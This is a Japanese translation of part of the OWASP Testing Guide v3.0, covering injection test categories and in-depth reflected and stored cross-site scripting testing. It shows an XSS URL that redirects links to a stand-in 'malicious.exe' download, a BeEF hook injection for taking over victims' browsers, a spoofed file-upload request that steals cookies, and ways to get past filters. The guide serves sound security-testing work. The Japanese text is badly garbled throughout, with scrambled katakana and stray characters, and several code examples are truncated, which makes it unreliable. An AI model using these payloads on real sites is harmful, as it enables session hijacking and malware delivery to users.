
同 様 に、ORM イヱザェキサュヱのテシトは SQL イヱザェキサュヱのテシトに 似 ています。この 場 合 、ORM が 生 成 したデーソア<br />

キスシ・エブザェキトムデラに 対 し、SQL イヱザェキサュヱを 使 います。テシト 者 の 視 点 からは、この 攻 撃 は SQL イヱザェキサュ<br />

ヱ 攻 撃 と 事 実 上 同 じです。しかし、そのイヱザェキサュヱ 脆 弱 性 は ORM ツーラによって 生 成 されたケードの 中 に 存 在 します。<br />

195


4.8.8 XML アンヱジェクシュンヱ (<strong>OWASP</strong>-DV-008)<br />

XML イヱザェキサュヱのテシトでは、アプヨクーサュヱに 特牐 定 の XML ドカャミヱトを 注 入 できるかどうかをテシトします。XML パ<br />

ーコが 適遚 切 なデーソの 妥妞 当 性 確 認 に 失 敗 すると、XML イヱザェキサュヱ 脆 弱 性 が 見 つかります。<br />

XML イヱザェキサュヱ 攻 撃 は 以 下 のパソーヱを 破 ります:<br />

入 力 →⃙XML ドカャミヱト == XML イヱザェキサュヱ<br />

4.8.9 SSI アンヱジェクシュンヱ (<strong>OWASP</strong>-DV-009)<br />

ウェブ・」コーバや 普 通 、 開 発 者 に、 完媍 全 に 自 立 したコーバ 側 又 はキョイアヱト 側 の 言 語 を 扱 うことなく、 静 的 な HTML ヘーザ<br />

内 に 動 的 なケードの 小 爭 を 加 える 能 力 を 与 えます。この 機 能 はコーバ 側 のイヱキラード(SSI)イヱザェキサュヱにより 実 現 しま<br />

した。SSI イヱザェキサュヱのテシトでは、SSI 機 構 により 逐 次 翻 訳 されるアプヨクーサュヱデーソに 注 入 できるかどうかをテシト<br />

します。この 脆 弱 性 の 利 用 に 成 功 すると、 攻 撃 者 は HTML ヘーザにケードを 注 入 できたり、 遠遒 隔 ケードの 実 行 さえ 行 えたりし<br />

ます。<br />

4.8.10 XPath アンヱジェクシュンヱ (<strong>OWASP</strong>-DV-010)<br />

XPath は 主 に XML の 一 部邪 であることに 取 り 組 むために、 設 計 され 開 発 された 言 語 です。XPath イヱザェキサュヱのテシトでは、<br />

アプヨクーサュヱにデーソを 注 入 できるか、それによってヤーゴに 制 御 された XPath 検 索 を 実 行 できるかをテシトします。うま<br />

く 利 用 されると、この 脆 弱 性 は 攻 撃 者 に 認 証 機 構 を 迂 回 させたり、 適遚 切 な 認 証 なしに 情 報 にアキスシさせたりします。<br />

4.8.11 IMAP/SMTP アンヱジェクシュンヱ (<strong>OWASP</strong>-DV-011)<br />

この 脅 威姕 は、ミーラコーバ(IMAP/SMTP)と 連連 絡 するすべてのアプヨクーサュヱに、 一 般 にはウェブミーラ・アプヨクーサュヱに<br />

影 響 します。IMAP/SMTP イヱザェキサュヱのテシトでは、 適遚 切 に 削 除 されない 入 力 デーソにより、 勝 手 な IMAP/SMTP ケボヱ<br />

ドをミーラコーバに 注 入 できるかをテシトします。<br />

IMAP/SMTP イヱザェキサュヱ 攻 撃 は 以 下 のパソーヱを 壊 します:<br />

入 力 →⃙IMAP/SMTP ケボヱド==IMAP/SMTP イヱザェキサュヱ<br />

4.8.12 ケーデ・アンヱジェクシュンヱ<br />

(<strong>OWASP</strong>-DV-012)<br />

ケード・イヱザェキサュヱのテシトでは、 後 でウェブ・」コーバにより 実 行 されるアプヨクーサュヱのデーソに 注 入 できるかをテシト<br />

します。<br />

ケード・イヱザェキサュヱ 攻 撃 は 以 下 のパソーヱを 壊 します:<br />

入 力 →⃙ 悪 意 のあるケード==ケード・イヱザェキサュヱ<br />

4.8.13 OS ケボンヱデ 発 行 (<strong>OWASP</strong>-DV-013)<br />

ケボヱド・イヱザェキサュヱのテシトでは、アプヨクーサュヱに HTTP ヨキウシトを 通 じて OS のケボヱドを 注 入 しようとします。<br />

OS ケボヱド・イヱザェキサュヱ 攻 撃 は 以 下 のパソーヱを 壊 します:<br />

入 力 →⃙OS ケボヱド==OS ケボヱド・イヱザェキサュヱ<br />

4.8.14 バチファ・オーバーフロー(<strong>OWASP</strong>-DV-014)<br />

これらのテシトでは、 異 なる 形 式 のバッファ・」エーバーフルー 脆 弱 性 を 調 べます。ここにはバッファ・」エーバーフルー 脆 弱 性 の<br />

一 般 的 な 形 式 のためのテシト 技 法 があります:<br />

4.8.14.1 バープ・オーバーフロー<br />

4.8.14.2 スタチク・オーバーフロー<br />

4.8.14.3 フォーボチテ 文 字 列<br />

一 般 にバッファ・エーバーフルーは 以 下 のパソーヱを 破 ります:<br />

入 力 →⃙ 固 定 バッファまたはフェーボット 文 字 列 ==エーバーフルー<br />

196


<strong>OWASP</strong> Testing Guide v3.0<br />

4.8.15 培 養 された 脆 弱 性 のテステ(<strong>OWASP</strong>-DV-015)<br />

培 養 されたテシトは、 一 つ 以 上 の 妥妞 当 性 確 認 の 脆 弱 性 が 働 く 必 要 のある 複 雑 なテシトです。<br />

見 せられるすべてのパソーヱで、 信 頼 され 処 理 される 前 に、デーソはアプヨクーサュヱにより 妥妞 当 性 確 認 されるべきです。 私<br />

たちのテシトの 目 標 はアプヨクーサュヱが 実 際 に 妥妞 当 性 確 認 を 行 っているか、 入 力 を 信 頼 していないかを 検 証 することです。<br />

4.8.15 HTTP 分 割 / 密 輸 のテステ (<strong>OWASP</strong>-DV-016)<br />

HTTP 動 詞 、HTTP 分 割 、HTTP 密 輸 としての HTTP 搾 取 のテシトを 説 明 します。<br />

4.8.1 反 射 型 クロスサアテ・スクリプテァンヱギのテステ(<strong>OWASP</strong>-DV-001)<br />

概 要<br />

反 射 型 キルシコイト・シキヨプティヱギ(XSS)は 非 永 続 的 な XSS の 別 名 で、 攻 撃 は 脆 弱 なウェブ・」アプヨクーサュヱに 読 み 込 ま<br />

れず、 問 題 の URI を 読 み 込 んでいる 犠牢 牲牌 者 によって 引 き 起 こされます。この 文 献犰 ではこの 種 の 脆 弱 性 についてウェブ・」アプ<br />

ヨクーサュヱをテシトするいくつかの 方 法 を 見 て 行 きます。<br />

問 題 の 記 述<br />

反 射 型 XSS 攻 撃 は type1 又 は 非 永 続 的 な XSS 攻 撃 としても 知 られ、 現 在 でも 見 つかる 最 も 頻 発 する XSS 攻 撃 の 型 です。<br />

ウェブ・」アプヨクーサュヱがこの 型 の 攻 撃 に 対 し 脆 弱 な 場 合 、ヨキウシト 群 を 介 して 入 力 された 妥妞 当 性 確 認 されていない 入 力<br />

を、ウェブ・アプヨクーサュヱはキョイアヱトに 渡 します。その 攻 撃 の 共 通 した 手 口 は、 設 計 段 階 での、 攻 撃 者 による 問 題 の<br />

URI の 生 成 とテシト、セーサメラ・」ウヱザニアヨヱギ 段 階 での、 攻 撃 者 による 犠牢 牲牌 者 のこの URI の 読 み 込 みについての 説 得 、<br />

そして 最 終 的 な 問 題 のケードの 実 行 を 含 みます。 犠牢 牲牌 者 の 証 明 書 を 使 って。<br />

一 般 的 に 攻 撃 者 のケードは Javascript 言 語 で 書 かれていますが、 他 のシキヨプト 言 語 、 例 えば ActionScript や VBScript も 使<br />

わわれます。<br />

攻 撃 者 は 典 型 的 に、これらの 脆 弱 性 を 利 用 してカールオーをイヱシトーラし、 犠牢 牲牌 者 のキッカーを 盗 み、キヨップペードの 窃<br />

盗 を 行 い、ヘーザの 内 容 ( 例 えばゾウヱルード・」ヨヱキ)を 変 更 します。<br />

XSS 脆 弱 性 の 利 用 についての 重 要 な 問 題 の 一 つは、 文 字 の 符 号 化 です。いくつかの 事 例 で、ウェブ・コーバやウェブ・アプ<br />

ヨクーサュヱが、 何 らかの 文 字 符 号 化 を 取 り 除 けませんでした。そのため 例 えば、 ウウブ・」アプヨクーサュヱは「」を 取<br />

り 除 くかもしれませんが、 単 純 にソギの 別 の 符 号 化 を 含 む%3cscript%3e は 取 り 除 かないかもしれません。 文 字 符 号 化 の<br />

格 好 のテストツールは,<strong>OWASP</strong> の CAL9000 です。<br />

ブラチクボチクステステ<br />

ブョッキペッキシテシトは 最 低 三 つの 段 階 を 含 みます:<br />

1. 入 力 担 体 を 見 抜 いてください。テシト 者 はウェブ・」アプヨクーサュヱの 変 数 と、ウェブ・アプヨクーサュヱ 内 にそれらを 入 力 す<br />

る 方 法 を 決 定 しなくてはなりません。 以 下 の 例 を 見 てください。<br />

197


2. 各 入 力 担 体 を 分 析 し、 潜 在 的 な 脆 弱 性 を 見 抜 いてください。XSS 脆 弱 性 を 見 抜 くには、テシト 者 は 通 常 、 各 入 力 担 体 に<br />

特牐 別 に 作 成 した 入 力 デーソを 使 用 します。そのような 入 力 デーソは 通 常 無 害 ですが、ウェブ・ブョウゴからの 脆 弱 性 を 明 示<br />

するリシホヱシ 群 の 引 き 金 となります。テシトのデーソは、ウェブ・アプヨクーサュヱ fuzzer を 使 うか、 又 は 手 作 業 で 生 成 でき<br />

ます。<br />

3. 前 の 段 階 で 報 告 された 各 脆 弱 性 について、テシト 者 は 報 告 を 分 析 し、ウェブ・」アプヨクーサュヱのスカャヨティに 現 実 的 な<br />

影 響 を 持 つ 攻 撃 でその 脆 弱 性 を 利 用 しようとします。<br />

例 1<br />

例 えば、「ようこそ%username%さん」という 歓 迎 の 掲 示 とゾウヱルード・」ヨヱキを 持 つコイトを 考 えてください。<br />

テシト 者 はすべてのデーソ 入 力 箇 所 が XSS 攻 撃 を 生 じ 得 ると 疑 わわなくてはなりません。それを 分 析 するために、テシト 者 は<br />

user 変 数 を 使 い、 脆 弱 性 を 引 き 起 こそうと 試 みます。 次 のヨヱキをキヨッキし、 何 が 起 こるか 見 てみましょう:<br />

http://example.com/index.php?user=alert(123)<br />

もし 何 もコニソイジ 処 理 が 適遚 用 されていないと、 以 下 のホップアップが 結 果 として 表 示 されます:<br />

これは XSS 脆 弱 性 があることを 示 し、どのような 人 のブョウゴででも、もしテシト 者 のヨヱキをキヨッキすれば、テシト 者 が 選遥 んだ<br />

ケードを 実 行 できることがわわかります。<br />

例 2<br />

他 のケード 爭 (ヨヱキ)を 試 してみましょう:<br />

http://example.com/index.php?user=window.onload = function() {var<br />

AllLinks=document.getElementsByTagName("a");<br />

AllLinks[0].href = "http://badexample.com/malicious.exe"; }<br />

これは 以 下 の 挙 動 を 生 成 します:<br />

198


<strong>OWASP</strong> Testing Guide v3.0<br />

ヤーゴがテシト 者 によって 提 供 されたこのヨヱキをキヨッキすると、テシト 者 が 支 配郤 するコイトから malicious.exe というファイラ<br />

をゾウヱルードすることになります。<br />

対 策<br />

大 部邪 分 の 今 日 のウェブ・」アプヨクーサュヱは 何 らかの 種 類 のコニソイジ 処 理 を 使 います。 反 射 型 キルシコイト・」シキヨプティヱギ<br />

攻 撃 は、コニソイジ 処 理 やウェブ・アプヨクーサュヱ・ファイアウェーラによりコーバ 側 で 阻 止 されるか、 現 代 的 なウェブ・ブョ<br />

ウゴに 組 み 込 まれた 阻 止 機 構 によってキョイアヱト 側 で 阻 止 されます。<br />

大 部邪 分 のキョイアヱトはブョウゴを 更 新 しないので、テシト 者 はこれを 期 待 できず、ウェブ・ブョウゴが 攻 撃 を 阻 止 しないとみ<br />

なして 脆 弱 性 をテシトしなくてはなりません。(2008 年 Frei 他 )<br />

ウェブ・」アプヨクーサュヱやウェブ・コーバ( 例 えば Apache の mod_rewrite_module)は、URL を 分 析 でき、コニソイジ 手 順 とし<br />

て 正 規 表 現 と 突 き 合 わわせます。 例 えば、 以 下 の 正 規 表 現 はソギや 斜 線 の 間 の 英 数 字 を 探 知 するために(そしてブルッキする<br />

ために) 使 えます。<br />

/((\%3C)|)/i<br />

したがって、 上 述 の 攻 撃 は 機 能 しないでしょう。しかし、この 正 規 表 現 は 脆 弱 性 を 完媍 全 には 解 決 しません。ギリイペッキシテ<br />

シトで、テシト 者 はセーシケードにアキスシしてコニソイジ 手 順 を 分 析 し、それを 迂 回 できるかどうか 見 極 めます。<br />

例 3<br />

脆 弱 性 が 存 在 するかどうかをブョッキペッキシテシトするために、テシト 者 は 数 多 くのテシト 担 体 を 使 い、 各 々に 異 なるコニソ<br />

イジ 処 理 を 迂 回 させ、どれかが 有 効 に 作 用 することを 期 待 します。 例 えば、 以 下 のケードが 実 行 されたとしましょう:<br />

<br />

このサナヨエでは、 以 下 が 挿 入 されたかどうか 調 べる 正 規 表 現 があります:<br />

」 以 外 の 任 意 の 文 字 ] src<br />

これは 通 常 の 攻 撃 の、 以 下 のような 表 現 を 取 り 除 くのに 便 利 です:<br />

199


しかしこの 場 合 、script と src の 間 の 属 性 の 中 で「>」の 文 字 を 使 うことにより、コニソイジ 処 理 を 迂 回 することが 可 能 です。 以<br />

下 のようにします:<br />

http://www.example.com/?var=<br />

これは 前 に 見 た 反 射 型 キルシコイト・」シキヨプティヱギ 脆 弱 性 を 利 用 し、 攻 撃 者 のウェブ・」コーバに 格 納 された javascript を、<br />

犠牢 牲牌 者 のウェブ・コイト www.example.com から 来 たかのように 実 行 します。<br />

完媍 全 なテシトは 色 々な 攻 撃 担 体 の 変 数 のイヱシソヱシ 化 を 含 みます。(Fuzz 担 体 付 録 (Fuzz vectors appendix)と 符 号 化 され<br />

たイヱザェキサュヱ 付 録 (Encoded injection appendix)を 調 べてください)<br />

最 後 に、 回 答 を 分 析 するのは 複 雑 になりえます。これを 実 行 する 単 純 な 方 法 は、 私 たちの 例 と 同 様 にゾイアルギをホップア<br />

ップするケードを 使 うことです。これは 通 常 、 攻 撃 者 が 選遥 んだ 勝 手 な Javascript を、 攻 撃 者 が 犠牢 牲牌 者 のブョウゴ 内 で 実 行 で<br />

きることを 示 します。<br />

参 考 文 献<br />

書 籍<br />

• Joel Scambray, Mike Shema, Caleb Sima - 「 露 出 したウェブ・」アプヨクーサュヱのハッカヱギ("Hacking Exposed Web<br />

Applications")」, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0<br />

• Dafydd Stuttard, Marcus Pinto - 「ウェブ・」アプヨクーサュヱのハヱドブッキ -- スカャヨティ 不 具 合 の 発 見 と 利 用 ("The Web<br />

Application's Handbook - Discovering and Exploiting Security Flaws")」, 2008, Wiley, ISBN 978-0-470-17077-9<br />

• Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie – 「キルシコイト・シキヨプティヱギ<br />

攻 撃 : XSS 利 用 と 防 御 ("Cross Site Scripting Attacks: XSS Exploits and Defense")」, 2007, Syngress, ISBN-10: 1-59749-154-3<br />

ホワロアテペーパー<br />

• CERT – キョイアヱトのウェブ・ヨキウシトに 埋 め 込 まれた 悪 意 のある HTML ソギ(Malicious HTML Tags Embedded in Client Web<br />

Requests): 読 んでください<br />

• Rsnake - XSS ォヱニヱギヘーパー(XSS Cheet Sheet): 読 んでください<br />

• cgisecurity.com – キルシコイト・」シキヨプティヱギ FAQ(The Cross Site Scripting FAQ): 読 んでください<br />

• G.Ollmann - HTML ケード・イヱザェキサュヱとキルシコイト・」シキヨプティヱギ(HTML Code Injection and Cross-site scripting): 読 んで<br />

ください<br />

• A. Calvo, D.Tiscornia – alert(‘alert('A JavaScript agent'): 読 んでください ( 出 爮 予 定 )<br />

• S. Frei, T. Dübendorfer, G. Ollmann, M. May - ウェブ・ブョウゴの 脅 威姕 を 理 解 する(Understanding the Web browser threat): 読<br />

んでください<br />

ヂール<br />

200


<strong>OWASP</strong> Testing Guide v3.0<br />

• <strong>OWASP</strong> CAL9000: CAL9000 はウェブ・アプヨクーサュヱのスカャヨティテシトツーラのケリキサュヱで, 現 在 のウェブ・プルキサと 自 動<br />

化 シカメナの 機 能 を 補 間 します。<br />

• PHP Charset Encoder(PCE) - http://h4k.in/encoding このツーラは 任 意 のテカシトを 65 種 類 の 文 字 スットと 相 互 変 換 するのを 助<br />

けます。JavaScript による 符 号 化 関 数 も 提 供 されています。<br />

• WebScarab WebScarab は,HTTP と HTTPS プルトケラを 使 って 通 信 するアプヨクーサュヱを, 分 析 するフリーマワローキです。<br />

• XSS-Proxy - http://xss-proxy.sourceforge.net/ XSS-Proxy は 先 進逭 的 なキルシコイト・」シキヨプティヱギ(XSS) 攻 撃 ツーラです。<br />

• ratproxy - http://code.google.com/p/ratproxy/ ヤーゴが 初 期 設 定 した 複 雑 な Web 2.0 環 境 の 既 存 のトョフィッキの 観 察 に 基 づ<br />

いた, 潜 在 的 な 問 題 とスカャヨティ 関 係 のデゴイヱパソーヱの, 半 自 動 化 した, 大 きく 受 動 的 なウェブアプヨクーサュヱスカャヨティ<br />

監 査 ツーラ, 最 適遚 化 された 正 確 で 敏 感 な 探 知 ,そして 自 動 的 な 注 釈 .。<br />

• Burp Proxy - http://portswigger.net/proxy/ Burp Proxy はウェブ・アプヨクーサュヱの 攻 撃 とテシトのための,イヱソョキティブな<br />

HTTP/S のプルキサ・コーバです。<br />

4.8.2 格 納 型 クロスサアテ・スクリプテァンヱギ(<strong>OWASP</strong>-DV-002)<br />

概 要<br />

格 納 型 キルシコイト・シキヨプティヱギ(XSS)はキルシコイト・」シキヨプティヱギの 最 も 危 険 な 型 です。ヤーゴにデーソの 格 納 を 許<br />

すウェブ・アプヨクーサュヱは、 潜 在 的 にこの 攻 撃 型 にさらされています。この 章 は 格 納 型 キルシコイト・シキヨプティヱギ・イヱ<br />

ザェキサュヱと 関 連連 した 利 用 サナヨエを 説 明 します。<br />

問 題 の 記 述<br />

格 納 型 XSS は、ウェブ・アプヨクーサュヱが 悪 意 を 持 っているかもしれないヤーゴからの 入 力 を 収 集 し、 後 で 使 用 するために<br />

デーソ 保 管 所 にその 入 力 を 格 納 する 時 に 起 こります。その 格 納 された 入 力 は 正 確 にはろ 過遃 されません。 最 終 的 に、 悪 意 の<br />

あるデーソはウェブ・」コイトの 一 部邪 に 現 れ、ウェブ・アプヨクーサュヱの 特牐 権 の 下 で、ヤーゴのブョウゴの 中 で 実 行 されます。<br />

この 脆 弱 性 は、 以 下 のような 数 多 くのブョウゴ・」プーシの 攻 撃 を 指 揮 するために 使 えます:<br />

• 他 のヤーゴのブョウゴを 乗 っ 取 る<br />

• アプヨクーサュヱ・ヤーゴによって 参 照 された 機 密 情 報 を 獲狚 得 する<br />

• アプヨクーサュヱの 擬 似 的 な 汚 損<br />

• 内 部邪 ベシトのホートシカメヱを 行 う(「 内 部邪 」はウェブ・」アプヨクーサュヱのヤーゴとの 相 対 関 係 )<br />

• ブョウゴ・」プーシの 悪 用 の 命 令 された 配郤 布<br />

• 他 の 悪 意 のある 活 動<br />

格 納 型 XSS は 利 用 されるために 悪 意 のあるヨヱキを 必 要 としません。ヤーゴが 格 納 型 XSS のあるヘーザを 訪 れると、 利 用 が<br />

成 功 します。 以 下 の 段 階 は 典 型 的 な 格 納 型 XSS 攻 撃 のサナヨエに 関 係 します:<br />

201


• 攻 撃 者 が 悪 意 のあるケードを 脆 弱 なヘーザに 格 納 します<br />

• ヤーゴがアプヨクーサュヱ 内 で 認 証 します<br />

• ヤーゴが 脆 弱 なヘーザを 訪 れます<br />

• 悪 意 のあるケードがヤーゴのブョウゴにより 実 行 されます<br />

この 攻 撃 の 型 は、BeEF、 XSS Proxy や Backframe のようなブョウゴ 攻 略 フリーマワローキによっても 悪 用 されます。これらのフ<br />

リーマワローキにより 複 雑 な JavaScript 利 用 開 発 ができます。<br />

格 納 型 XSS は、 高 い 特牐 権 を 持 つヤーゴがアキスシするアプヨクーサュヱ 領 域 で 特牐 に 危 険 です。 管 理 者 が 脆 弱 なヘーザを 訪<br />

れると、 攻 撃 は 彼 らのブョウゴにより 自 動 的 に 実 行 されます。この 攻 撃 はスッサュヱ 認 証 トーキヱのような 機 密 情 報 を 暴 露 す<br />

るかもしれません。<br />

ブラチクボチクステステと 例<br />

入 力 フォーマ<br />

最 初 の 段 階 は、アプヨクーサュヱによってヤーゴ 入 力 がバッキウヱドに 格 納 され、それから 表 示 される、すべての 箇 所 を 識<br />

別 することです。 格 納 されたヤーゴ 入 力 の 典 型 的 な 例 は 以 下 の 中 で 見 つかります:<br />

• ヤーゴ/プルフィーラ・ヘーザ: アプヨクーサュヱはヤーゴに、 名 、 姓 、あだ 名 、アバソー、 写 真 、 住 所 などのプルフィ<br />

ーラ 詳 細 の 編 集 / 変 更 を 許 します。<br />

• サュッピヱギ・」ォート: アプヨクーサュヱはヤーゴに、サュッピヱギ・ォートへアイテマの 格 納 を 許 し、 後 で 再 検 討 できま<br />

す。<br />

• ファイラ・ボネーザメ: ファイラのアップルードを 許 すアプヨクーサュヱ<br />

• アプヨクーサュヱ 設 定 /プヨファョヱシ: ヤーゴにプヨファョヱシの 設 定 を 許 すアプヨクーサュヱ<br />

HTML ケーデの 分 析<br />

アプヨクーサュヱにより 格 納 された 入 力 は、 通 常 HTML ソギ 内 で 使 わわれますが、JavaScript ケヱテヱツの 一 部邪 としても 見 つか<br />

ることがあります。この 段 階 では、 入 力 が 格 納 されるかどうか、そしてヘーザの 文 脈 内 にどのように 置 かれるかを 理 解 するの<br />

が 基 本 です。<br />

例 : 電 子婡 ミーラが index2.php 内 にデーソを 格 納 した<br />

202


<strong>OWASP</strong> Testing Guide v3.0<br />

email の 値 が 置 かれている index2.php の HTML ケード:<br />

<br />

この 場 合 , 侵 入 テシト 者 は 以 下 のように,ソギの 外 側 にケードを 注 入 する 方 法 を 見 つける 必 要 があります:<br />

悪 意 のあるケード


パーヘーザを 参 照 することを 強 く 勧 めます。それらは XSS 攻 撃 とフィラソ 避遪 けの 広 範 なヨシトを 提 供 しています。より 詳 細 な<br />

情 報 については、ベワロイトヘーパー/ツーラ 節 を 参 照 してください。<br />

BeEF を 利 用 した し<br />

格 納 型 XSS<br />

BeEF、 XSS Proxy や Backframe のような 先 進逭 的 な JavaScript 攻 略 フリーマワローキにより、 格 納 型 XSS を 利 用 できます。 典 型<br />

的 な BeEF の 利 用 サナヨエが 何 を 含 むか 見 てみましょう:<br />

• 攻 撃 者 のブョウゴ 攻 略 フリーマワローキ(BeEF)と 通 信 する、JavaScript のフッキを 注 入 します<br />

• 格 納 された 入 力 が 表 示 される 脆 弱 なヘーザをアプヨクーサュヱ・ヤーゴが 参 照 するのを 待 ちます<br />

• アプヨクーサュヱ・ヤーゴのブョウゴを、BeEF ケヱセーラを 介 して 制 御 します<br />

JavaScript のフッキは、ウェブ・アプヨクーサュヱの XSS 脆 弱 性 を 利 用 することにより、 注 入 されます。<br />

例 : index2.php 内 の BeEF イヱザェキサュヱ:<br />

aaa@aa.com”><br />

ヤーゴが index2.php のヘーザを 読 み 込 む 時 、シキヨプト beefmagic.js.php がブョウゴによって 実 行 されます。すると、キッカ<br />

ー、ヤーゴのシキヨーヱサュット、ヤーゴのキヨップペード、にアキスシでき、 複 雑 な XSS 攻 撃 を 立 ち 上 げることができます。<br />

期 待 される 結 果<br />

この 攻 撃 は、 異 なる 特牐 権 を 持 った 多 くのヤーゴに 閲 覧 される 脆 弱 なヘーザに 対 し、 特牐 に 効 果 的 です。<br />

ファアルのアチプローデ<br />

ウェブ・アプヨクーサュヱがアップルードを 許 している 場 合 、HTML ケヱテヱツをアップルードすることが 可 能 かどうか 調 べること<br />

が 重 要 です。 例 えば、HTML 又 は TXT ファイラがアップルードを 許 されている 場 合 、アップルードされるファイラ 内 に XSS の<br />

積 荷 を 注 入 できます。 侵 入 テシト 者 はアップルードされたファイラが 任 意 の MIME ソイプの 設 定 を 許 すかどうかも 検 証 すべ<br />

きです。<br />

204


<strong>OWASP</strong> Testing Guide v3.0<br />

ファイラのアップルードのための、 以 下 の HTTP POST ヨキウシトについて 考 えてください:<br />

POST /fileupload.aspx HTTP/1.1<br />

[…]<br />

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and<br />

Settings\test\Desktop\test.txt"<br />

Content-Type: text/plain<br />

test<br />

この 設 計 の 不 具 合 は、ブョウゴの MIME 誤 処 理 の 攻 撃 に 利 用 できます。 例 えば、 無 害 に 見 える JPG や GIF のようなファイラ<br />

が XSS の 積 荷 を 格 納 でき、ブョウゴによって 読 み 込 まれる 時 に 実 行 されます。text/html の 代 わわりに image/gif のような 画 像<br />

のための MIME ソイプを 設 定 できる 場 合 、このようなことが 起 こりえます。この 事 例 では、ファイラはキョイアヱトのブョウゴに<br />

より HTML として 扱 わわれます。<br />

偽 装 された HTTP POST ヨキウシト:<br />

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and<br />

Settings\test\Desktop\test.gif"<br />

Content-Type: text/html<br />

alert(document.cookie)<br />

Internet Explorer は、Mozilla Firefox や 他 のブョウゴが 行 うのと 同 じ 方 法 では MIME ソイプを 処 理 しないことについても 考 え<br />

てください。 例 えば Internet Explorer は HTML ケヱテヱツを 持 つ TXT ファイラを HTML ケヱテヱツとして 処 理 します。MIME<br />

処 理 についてのこれ 以 上 の 情 報 については、この 章 の 末 尾 にあるベワロイトヘーパー 節 を 参 照 してください。<br />

ギレアボチクステステと 例<br />

ギリイペッキシテシトはブョッキペッキシテシトと 似 ています。ギリイペッキシテシトでは、 侵 入 テシト 者 はアプヨクーサュヱについ<br />

て 部邪 分 的 な 知 識 を 持 っています。この 場 合 、ヤーゴ 入 力 、 入 力 の 妥妞 当 性 確 認 の 制 御 、 及 びデーソ 格 納 装 置 に 関 する 情 報<br />

は、 侵 入 テシト 者 に 知 られています。<br />

利 用 可 能 な 情 報 に 依 存 して、ヤーゴ 入 力 がアプヨクーサュヱによってどのように 処 理 されてから、バッキウヱドのサシテマに<br />

どのように 格 納 されるかを 調 べることを、 通 常 テシト 者 は 推 奨 されます。 以 下 の 段 階 が 推 奨 されます:<br />

• フルヱトウヱドのアプヨクーサュヱを 使 い、 特牐 殊 な/ 無 効 な 文 字 群 を 入 力 してください<br />

• アプヨクーサュヱのリシホヱシ( 群 )を 分 析 してください<br />

• 入 力 の 妥妞 当 性 確 認 の 制 御 の 存 在 を 識 別 してください<br />

• バッキウヱド・」サシテマにアキスシし、 入 力 が 格 納 されているか、どのように 格 納 されているかを 調 べてください。<br />

• セーシケードを 分 析 し、 格 納 された 入 力 がアプヨクーサュヱによってどのように 表 現 されるかを 理 解 してください<br />

205


セーシケードが 利 用 可 能 (ベワロイトペッキシ)なら、 入 力 フェーマで 使 わわれたすべての 変 数 を 分 析 すべきです。<br />

特牐 に、PHP、ASP や JSP のようなプルギョマ 言 語 は、HTTP GET と POST ヨキウシトからの 入 力 を 格 納 するために、 予 め 定 義 され<br />

た 変 数 / 関 数 を 使 用 します。<br />

以 下 の 表 は、セーシケードを 分 析 する 際 に 見 るべき 特牐 殊 変 数 と 関 数 をまとめています:<br />

PHP ASP JSP<br />

• $_GET - HTTP GET の 変 数<br />

• $_POST – HTTP POST の 変<br />

数<br />

• $_FILES – HTTP のファイ<br />

ラ・」アップルード 変 数<br />

• Request.QueryString – HTTP GET<br />

• Request.Form - HTTP POST<br />

• Server.CreateObject - ファイラをアップル<br />

ードするために 使 わわれる<br />

• doGet, doPost コーブリット– HTTP<br />

GET と POST<br />

• request.getParameter – HTTP<br />

GET/POST の 変 数<br />

参 考 文 献<br />

書 籍<br />

• Joel Scambray, Mike Shema, Caleb Sima - 「 露 出 したウェブ・」アプヨクーサュヱのハッカヱギ("Hacking Exposed Web<br />

Applications")」, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0<br />

• Dafydd Stuttard, Marcus Pinto - 「ウェブ・」アプヨクーサュヱのハヱドブッキ -- スカャヨティ 不 具 合 の 発 見 と 利 用 ("The Web<br />

Application's Handbook - Discovering and Exploiting Security Flaws")」, 2008, Wiley, ISBN 978-0-470-17077-9<br />

• Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - 「キルシコイト・シキヨプティヱギ<br />

攻 撃 : XSS 利 用 と 防 御 ("Cross Site Scripting Attacks: XSS Exploits and Defense")」, 2007, Syngress, ISBN-10: 1-59749-154-3<br />

ホワロアテペーパー<br />

• RSnake: 「XSS(キルシコイト・シキヨプティヱギ) ォヱニヱギヘーパー("XSS (Cross Site Scripting) Cheat Sheet")」 -<br />

http://ha.ckers.org/xss.html<br />

• CERT: 「CERT 勧 告 CA-2000-02 キョイアヱト・ウェブ・ヨキウシトに 埋 め 込 まれた 悪 意 のある HTML ソギ("CERT Advisory CA-2000-02<br />

Malicious HTML Tags Embedded in Client Web Requests")」 - http://www.cert.org/advisories/CA-2000-02.html<br />

• Aung Khant: 「XSS に 何 ができるか - 攻 撃 者 の 視 点 からの XSS の 利 点 ("What XSS Can do - Benefits of XSS From Attacker's<br />

view")」 - http://yehg.org/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf<br />

• Amit Klein: 「キルシコイト・」シキヨプティヱギの 説 明 ("Cross-site Scripting Explained")」 -<br />

http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf<br />

• Gunter Ollmann: 「HTML ケード・イヱザェキサュヱとキルシコイト・」シキヨプティヱギ("HTML Code Injection and Cross-site Scripting")」<br />

- http://www.technicalinfo.net/papers/CSS.html<br />

206


<strong>OWASP</strong> Testing Guide v3.0<br />

• CGISecurity.com: 「キルシコイト・」シキヨプティヱギ FAQ("The Cross Site Scripting FAQ")」 - http://www.cgisecurity.com/articles/xssfaq.shtml<br />

ヂール<br />

• Blake Frantz: 「MIME ソイプの 排 除 :ブョウゴの 観 点 ("Flirting with MIME Types: A Browser's Perspective" )」-<br />

http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf<br />

• <strong>OWASP</strong> CAL9000 CAL9000 は 整 理 された 実 装 ,RSnake の XSS 攻 撃 , 文 字 符 号 / 復 号 ,HTTP ヨキウシト 生 成 とリシホヱシ 評 価 ,タェッ<br />

キヨシトのテシト, 自 動 化 された 攻 撃 ウディソとさらにたくさんを 含 んでいます。<br />

• PHP Charset Encoder(PCE) - http://h4k.in/encoding PCE は 任 意 のテカシトを 65 種 類 の 文 字 スットと 相 互 変 換 するのを 助 け,そ<br />

